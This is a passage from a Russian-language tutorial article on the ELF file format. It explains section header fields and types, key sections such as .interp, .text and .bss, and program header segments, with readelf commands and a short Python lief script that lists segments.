.shstrtab (о ней мы уже

говорили­ , когда­ рассмат­

ривали­

заголовок­ ELF-файла­ ), а в поле sh_name

находится­ значение­

смещения­

начала строки­ с именем­

секции­ , к которой

относит­ ся­ данный­ заголовок­ , от начала секции­ sh_strtab;

 

 

 

 

sh_type — тип секции­ , который определя­ ­ет ее содержимое­ . Из всех воз ­ можных типов (а они также­ определе­ ­ны в /usr/include/elf.h) наибольший­ интерес­ представ­ ­ляют следующие­ :

SHT_NULL — неисполь­ ­зуемая (пустая­ ) секция­ . Согласно­ специфи­ ­ кации, первая­ запись в таблице­ заголовков­ секций­ должна­ быть именно­ такой (значение­ , как нетрудно­ догадаться­ , равно­ 0x00);

SHT_PROGBITS — секция­ содержит­ данные­ или код для выполнения­ (значение­ равно­ 0x01);

SHT_SYMTAB — секция­ содержит­ так называемую­ таблицу­ статичес­ ­ких

символов­

(под символами­

в данном­

случае­ понимаются­

имена­ функций­

или переменных­ ). Каждая­

запись в этой секции­

представ­ ляет­

собой

структуру­

Elf64_Sym (или Elf32_Sym для 32-разрядных­

файлов­ ),

которая

определе­

на­ в usr/include/elf.h. Как правило­

,

секция­

с таблицей­

статичес­

ких­ символов­

носит имя .symtab, каждая­

запись

в этой секции­ нужна­ для сопоставле­

ния­ того или иного­ символа­

с мес ­

тонахождени­

ем­

функции­

или переменной­ , имя которой и определе­

но­

данным­

символом­

. Все это в подавляющем­

большинс­

тве­ случаев­

нуж ­

но, чтобы­ облегчить отладку программы­

, а непосредс­

твен­

но­ для выпол ­

нения ELF-файла­ эта секция­ не использует­ ся­ (и во многих­ случаях­

пос ­

ле отладки программы­

ее из файла­ удаляют­

с помощью утилиты­

strip).

Значение­

равно­

0x02;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SHT_DYNSYM — таблица­ символов­ , используемая­ динамичес­ ­ким ком ­ поновщиком­ при компонов­ ­ке программы­ (числовое­ значение­ равно­ 0x0b). Каждая­ запись этой секции­ также­ представ­ ­ляет собой структуру­ Elf64_Sym (или Elf32_Sym). Как правило­ , секция­ с таблицей­ динами ­ ческих­ символов­ носит имя .dynsym. Более подробно­ о секциях­ . symtab и .dynsym поговорим­ чуть позже­ ;

SHT_STRTAB — в секциях­ такого типа хранят­ ­ся строки­ в кодировке­ ASCII с завершающим­ нулем (в частнос­ ­ти, уже знакомая­ нам секция­ . shstrtab имеет­ именно­ такой тип). Значение­ равно­ 0x03;

SHT_REL, SHT_RELA — секции­ этого­ типа содержат­ записи о переме ­ щениях­ , причем­ формат­ каждой­ записи определен­ структурами­

Elf64_Rel (Elf32_Rel) и Elf64_Rela (Elf32_Rela), опять же опи ­

санными­ в elf.h. Непосредс­ ­твен­но с организа­ ­цией перемещений­ мы разберем­ ­ся чуть позже­ ;

SHT_DYNAMIC — секция­ этого­ типа хранит­ информацию­ , необходимую­

для динамичес­ ­кой компонов­ ­ки (числовое­ значение­ — 0x06). Формат­ одной записи в такой секции­ описыва­ ­ется структурой­ Elf64_Dyn

(Elf32_Dyn) в файле­ elf.h;

SHT_NOBITS — секция­ такого типа не занимает­ места­ в файле­ . По сути, наличие такой секции­ является­ директивой­ о выделении­ необ ­ ходимого­ количества­ памяти для неинициали­ ­зиро­ван­ных переменных­

на этапе­ загрузки­ ELF-файла­ в память и подготов­ ­ки его к выполнению­ (обычно­ такая секция­ носит имя .bss). Числовое­ значение­ данной­ кон ­ станты­ равно­ 0x08;

sh_flags — содержит­ дополнитель­ ­ную информацию­ о секции­ . Из всего­ многооб­ ­разия значений­ в первую­ очередь­ интерес­ ­ны флаги­ :

SHF_WRITE — флаг, имеющий­ значение­ 0x01 и говорящий­ о том, что в секцию­ возможна­ запись данных­ (здесь необходимо­ учитывать­ воз ­ можность объеди­ ­нить несколь­ ­ко флагов­ посредс­ ­твом операции­ «или»);

SHF_ALLOC — наличие этого­ флага­ говорит о том, что содержимое­ секции­ должно­ быть загружено­ в виртуаль­ ­ную память при подготов­ ­ке программы­ к выполнению­ (хотя нужно­ помнить­ , что ELF-файл загружа­ ­ ется в память с примене­ ­нием сегмен­ ­тно­го представ­ ­ления файла­ , ну а сегмент­ есть не что иное, как объеди­ ­нение несколь­ ­ких секций­ ). Чис ­ ловое значение­ равно­ 0x02;

SHF_EXECINSTR — такой флаг показывает­ , что секция­ содержит­ исполняемый­ код (значение­ равно­ 0x04);

SHF_STRINGS — элемен­ ­ты данных­ в секции­ с таким флагом­ состоят­

из символь­ ­ных строк, завершающих­ ­ся нулевым символом­ (значение­ —

0x20);

sh_addr — виртуаль­ ­ный адрес секции­ . Хоть мы и говорили­ , что секцион­ ­ ное представ­ ­ление не использует­ ­ся при размещении­ файла­ в памяти,

внекоторых­ случаях­ компонов­ ­щику необходимо­ знать, по каким адресам­ будут размещены­ те или иные участки­ кода или данных­ на этапе­ выпол ­ нения, чтобы­ обеспечивать­ перемещения­ . Для этого­ и предус­ ­мотре­но

данное­ поле. Если секция­ не должна­ грузить­ ся­ в память при выполнении­ файла­ , то значение­ этого­ поля равно­ нулю;

sh_offset — смещение­ секции­ в файле­ (относитель­ ­но его начала);

sh_size — размер­ секции­ в байтах­ ;

sh_linc — содержит­ индекс (в таблице­ заголовков­ секций­ ) секции­ ,

с которой связана­ данная­ секция­ ;

sh_info — дополнитель­ ­ная информация­ о секции­ (значение­ зависит от типа секции­ );

sh_addralign — здесь задаются­ требова­ ­ния к выравниванию­ секции­ в памяти (если содержит­ значения­ 0x00 или 0x01, то выравнивание­

не требует­ ­ся);

sh_entsize — в некоторых­ секциях­ , например­ таблице­ символов­ . symtab, лежат записи определен­ ­ных структур­ (к примеру­ , Elf64_Sym), и для таких секций­ поле содержит­ размер­ одной записи секции­ в байтах­ . Если секция­ не относит­ ­ся к такому виду, то поле содержит­ нулевое зна ­ чение.

Назначение и содержимое основных секций

Сегод­ ­ня мы не будем подробно­ разбирать­ назначение­ и структуру­ всех воз ­ можных секций­ в ELF-файле­ , их довольно­ много­ . На рисунке­ с общей струк ­ турой ELF-файла­ перечислены­ стандар­ ­тные имена­ всех возможных­ секций­ , определен­ ­ных в специфи­ ­каци­ях, в том числе­ и примени­ ­тель­но к ABI архитек­ ­ туры x86-64. Рассмот­ ­рим наиболее­ значимые­ с точки­ зрения­ первоначаль­ ­ ного анализа­ ELF-файлов­ секции­ .

Секция .interp

В этой секции­ лежит путь к динамичес­ кому­ компонов­ щику­ , который компону­ ет­ ELF-файл при загрузке­ его в память и подготав­ лива­ ет­ его к выполнению­ . Динамичес­ кий­ компонов­ щик­ содержит­ стартовый­ код, отобража­ ющий­ раз ­ деляемые­ библиоте­ ки­ на адресное пространс­ тво­ загружен­ ного­ в память ELFфайла­ . Также­ он выполняет­ все подготови­ тель­ ные­ этапы­ , связан­ ные­ с раз ­ решением­ ссылок­ на функции­ , определен­ ные­ во внешних­ библиоте­ ках­ . После­ всего­ этого­ динамичес­ кий­ компонов­ щик­ передает­ управление­ загружен­ ному­ приложе­ нию­ . Посмотреть­ содержимое­ секции­ .interp можно­ следующим­ образом­ (опция -p утилиты­ readelf выводит указан­ ную­ секцию­ в строковом­ представ­ лении­ ):

readelf -p .interp -W example_pie0

Путь к динамичес­ кому­ компонов­ щику­ в секции­ .interp файла­ example_pie

Если­ же мы попробу­ ем­ посмотреть­ содержимое­ этой секции­ не в исполня ­ емом файле­ , а в разделя­ емой­ библиоте­ ке­ (один из наших подопытных­ фай лов libdynamic_example.so), то увидим­ следующую­ картину­ .

Попыт­ ка­ вывести­ секцию­ .interp файла­ с разделя­ емой­ библиоте­ кой­

Наличие­ (или отсутствие­ ) секции­ .interp как раз и является­ одним из отли ­ чий исполняемо­ го­ перемещаемо­ го­ файла­ от разделя­ емой­ библиоте­ ки­ (как мы отметили­ выше, оба этих типа ELF-файлов­ имеют­ значение­ ET_DYN в поле e_type заголовка­ ). Второе­ отличие­ — права­ на выполнение­ у файла­ (те самые, которые устанав­ лива­ ются­ командой­ chmod с параметром­ -x). В подавляющем­ большинс­ тве­ случаев­ в разделя­ емой­ библиоте­ ке­ нет ни сек ­ ции .interp, ни прав на выполнение­ файла­ . Из этого­ правила­ могут быть исключения­ . Например­ , библиоте­ ка­ с основными­ функци­ ями­ С libc (на нынешних­ системах­ это файл libc.so.6) вполне­ запускает­ ся­ и выводит информацию­ о себе.

Запуск­ разделя­ емой­ библиоте­ ки­ libc

Секции .init и .fini

В секции­ .init находится­ код, выполняющий­ ся­ перед запуском­ кода, который начинается­ в точке­ входа­ (этот код расположен­ в секции­ .text, и об этой секции­ мы поговорим­ ниже). Если дизассем­ бли­ ровать­ какой нибудь ELF-файл (например­ , используя­ objdump) и посмотреть­ внутрь этой секции­ , то можно­ увидеть­ две функции­ : _init и __gmon_start__.

Дизас­ ­сем­бли­рован­ная секция­ .init (видно­ , что внутри­ лежат функции­ _init

и __gmon_start__)

Задача­ этих функций­ — инициали­ ­зиро­вать и попытаться­ запустить­ профили­ ­ ровщик­ gprof. Чтобы­ эта попытка­ оказалась­ удачной­ и ELF-файл запустился­

под профили­ ­ров­щиком, этот файл должен­ быть скомпилиро­ ­ван с опцией­ -pg. В данном­ случае­ (если вниматель­ ­но посмотреть­ на дизассем­ ­бли­рован­ный код функции­ ) в регистре­ rax будет находиться­ адрес функции­ __gmon_start__, которая и вызовет gprof перед выполнени­ ­ем основного­ кода программы­ . В против­ ­ном случае­ в rax будет 0, вызова __gmon_start__ и, соответс­ ­твен­но, профили­ ­ров­щика, не произой­ ­дет, а выполнение­ будет передано­ сразу­ на код в секции­ text.

Секция­ .fini содержит­ в себе функцию­ _fini, которая выполняет­ ся­ пос ­ ле выполнения­ основного­ кода программы­ .

Дизас­ сем­ бли­ рован­ ная­ секция­ .fni

Секция .text

Здесь как раз и находится­ весь тот код, ради выполнения­ которого­ и была написана­ программа­ и на который указыва­ ­ет поле e_entry заголовка­ ELFфайла­ . Однако­ если посмотреть­ дизассем­ ­бли­рован­ный листинг­ этой секции­ , то вопреки­ ожидани­ ­ям мы увидим­ , что по адресу­ , на который указыва­ ­ет точка­ входа­ , лежит не функция­ main(), а некая функция­ _start, после­ которой при ­ сутству­ ­ет еще несколь­ ­ко функций­ , выполняющих­ подготов­ ­ку к запуску­ прог ­

раммы (например­ , deregister_tm_clones, register_tm_clones

и frame_dummy).

Функция­ _start считыва­ ет­ параметры­ командной­ строки­ (если они есть) и вызывает­ функцию­ __libc_start_main. И уже эта функция­ вызывает­ на выполнение­ функцию­ main(), где содержится­ основной код программы­ .

Дизас­ сем­ бли­ рован­ ная­ секция­ .text

Секция .data

Секция­ для хранения­ инициали­ ­зиро­ван­ных переменных­ , изменение­ которых возможно­ в ходе выполнения­ программы­ (соответс­ ­твен­но, эта секция­ имеет­ флаг SHF_WRITE).

Секция .rodata

В этой секции­ хранят­ ­ся константные­ значения­ , то есть значения­ , которые не подлежат­ изменению­ в ходе выполнения­ программы­ .

Секция .bss

Секция­ .bss предназна­ ­чена для неинициали­ ­зиро­ван­ных переменных­ . Если секции­ .data и .rodata имеют­ тип SHT_PROGBITS, эта секция­ , как мы уже отмечали­ выше, имеет­ тип SHT_NOBITS. Данная­ секция­ не занимает­ место­ в ELF-файле­ , посколь­ ­ку и так понятно­ , что неинициали­ ­зиро­ван­ные перемен ­ ные равны­ нулю, а хранить­ эти нули в ELF-файле­ нет никакого­ смысла­ .

СЕГМЕНТНОЕ ПРЕДСТАВЛЕНИЕ ELF-ФАЙЛОВ

Как мы уже говорили­ , сегмен­ ­тное представ­ ­ление использует­ ­ся компонов­ ­ щиком при загрузке­ ELF-файла­ в процесс­ для выполнения­ . Этот тип пред ­ ставления­ дает таблица­ заголовков­ программы­ (повторюсь­ , если иссле дуемый файл не предназна­ ­чен для выполнения­ , то эта таблица­ может отсутс ­ твовать­ ). Таблица­ заголовков­ программы­ описыва­ ­ется структурой­

Elf32_Phdr или Elf64_Phdr из уже знакомо­ го­ нам файла­ /usr/include/

elf.h.

В целом сегмент­ может включать­ в себя ноль и более секций­ , то есть объ ­ единяет­ секции­ в один блок. Здесь может возникнуть­ справед­ ливый­ вопрос­ : почему же тогда­ в сегменте­ может быть ноль секций­ ? Дело в том, что некото ­ рые типы сегментов­ при описании­ их в ELF-файле­ не имеют­ внутри­ себя никаких секций­ (то есть они пустые­ ). К примеру­ , пустые­ секции­ имеет­ заголо ­ вок, с которого­ начинается­ таблица­ заголовков­ программы­ (он самый первый­ в таблице­ и как раз и сигнализи­ рует­ о том, что с этого­ места­ начинается­ таб ­

лица заголовков­ ), или сегмент­ , хранящий­ информацию­ о стеке­ (имеет­ тип заголовка­ PT_GNU_STACK).

Вывес­ ти­ информацию­ о сегментах­ можно­ следующим­ образом­ :

readelf -W --segments example_pie0

Вывод­ информации­ о сегментах­ с помощью readelf

Если­ посмотреть­ вниматель­ ­но на рисунок, то видно­ , что, помимо самих заголовков­ программы­ , выводится­ и информация­ о соответс­ ­твии тому или иному­ сегменту­ тех или иных секций­ (при этом также­ видно­ , что в сег ­ ментах с номерами­ 00 и 07 секции­ отсутству­ ­ют).

Итак, основные поля заголовка­ программы­ таковы:

p_type — это поле определя­ ­ет тип сегмента­ . Возможные­ значения­ также­ представ­ ­лены в файле­ /usr/include/elf.h. Наиболее­ важные­ зна ­ чения:

PT_HDR — с данного­ заголовка­ начинается­ таблица­ заголовков­ прог ­ раммы (как мы уже говорили­ , описан­ ­ный этим заголовком­ сегмент­ пус ­ той);

PT_LOAD — сегмент­ этого­ типа предназна­ ­чен для загрузки­ в память на этапе­ подготов­ ­ки процес­ ­са к выполнению­ ;

PT_INTERP — этот сегмент­ содержит­ секцию­ .interp, в которой

лежит имя интерпре­ тато­ ра­ , используемо­ го­ при загрузке­ ELF-файла­ ;

PT_DYNAMIC — в этом сегменте­ содержится­ секция­ .dynamic с информацией­ о динамичес­ ких­ связях­ , которая говорит, как разбирать­

и подготав­ ­ливать ELF-файл к выполнению­ (более подробно­ об этой секции­ поговорим­ в следующий­ раз);

PT_GNU_STACK — здесь хранит­ ­ся информация­ о стеке­ , которая опре ­ деляется­ значени­ ­ем флага­ pt_flags и показывает­ , что стек не должен­ исполняться­ (значение­ pt_flags равно­ PF_R и PF_W). Отсутствие­ дан ­ ного сегмента­ говорит о том, что содержимое­ стека­ может быть исполнено­ (что, как ты наверняка­ знаешь­ , не есть хорошо);

p_flags — определя­ ­ет права­ доступа­ к сегменту­ во время­ выполнения­ ELF-файла­ (самые главные­ значения­ этого­ поля: PF_R — чтение­ , PF_W — запись, PF_X — выполнение­ );

p_offset, p_vaddr и p_filesz — значения­ этих полей аналогич­ ­ны зна ­ чениям­ полей sh_offset, sh_addr и sh_size в заголовке­ секции­ ;

p_addr — обычно­ значение­ этого­ поля для современ­ ­ных версий­ Linux равно­ нулю (хотя изначаль­ ­но здесь хранил­ ­ся адрес в физической­ памяти, по которому­ должен­ быть загружен­ сегмент­ );

p_memsz — размер­ сегмента­ в памяти (если вспомнить­ о наличии секции­

.bss, которая может входить­ в состав­ сегмента­ , то станет­ понятно­ , почему размер­ сегмента­ в файле­ может быть меньше­ , чем размер­ сегмента­

впамяти);

p_align — это поле аналогич­ ­но полю sh_addralign в заголовке­ сек ­ ции.

Ну а скрипт на Python (с использовани­ ем­ модуля lief) для просмотра­ информации­ о сегментах­ ELF-файла­ может выглядеть­ пример­ но­ так:

import lief

from lief import ELF

elf_object = lief.parse('example_pie')

segments = elf_object.segments

for segment in segments:

sections = segment.sections

section_names = ", ".join([section.name for section in sections])

flags_str = ["-"] * 3

if ELF.SEGMENT_FLAGS.R in segment:

flags_str[0] = "R"

if ELF.SEGMENT_FLAGS.W in segment:

flags_str[1] = "W"

if ELF.SEGMENT_FLAGS.X in segment:

flags_str[2] = "X"

flags_str = "".join(flags_str)

print(str(segment.type).split(".")[-1], flags_str, section_names)

ЗАКЛЮЧЕНИЕ

Этой статьей­ мы начали погружение­ во все тонкости­ формата­ ELF-файлов­ . Мы разобрались­ с форматом­ заголовка­ , с таблицами­ заголовков­ секций­ и сегментов­ , а также­ заглянули­ внутрь некоторых­ из них. Как видишь, отличия­

от PE-формата­ весьма­ существен­ ­ные, хотя некоторые­ аналогии­ все же прос ­ леживаются­ . В следующий­ раз мы изучим­ более подробно­ содержание­ и наз ­ начение других­ секций­ , а также­ разберем­ ­ся с компонов­ ­кой и связыва­ ­нием различных­ функций­ из библиотек­ с исполняемым­ файлом­ .

 

Помимо­

перечисленных­

в статье инстру­ мен­ тов­ ,

 

можно­

попробовать­

восполь­ зовать­

ся­ набором

 

утилит­ elfutils (чтобы­ установить­

их, набери в кон ­

 

соли sudo apt

install

elfutils).

 

Еще одна альтер­ натива­

pax-utils (команда­

 

для установ­ ки­ — sudo

 

apt

install pax-

 

utils).

 

 

 

 

 

Соседние файлы в папке журнал хакер